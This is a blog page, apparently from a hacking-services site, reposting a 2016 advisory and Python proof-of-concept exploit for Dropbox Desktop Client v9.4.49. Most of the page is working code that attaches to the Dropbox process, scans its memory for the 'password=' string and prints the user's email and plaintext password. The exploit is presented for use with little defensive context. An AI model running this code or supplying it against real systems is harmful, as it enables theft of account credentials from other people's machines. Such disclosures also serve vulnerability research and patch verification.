Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86373913

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#####
# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "Dropbox.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
			memory_dump.append(process.read(address,100))
		for i in range(len(memory_dump)):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_passwd 	= memory_dump[i].split('password=')[1]
			username	= email_addr.split('\x00')[0]
			password	= tmp_passwd.split('&is_sso_link=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()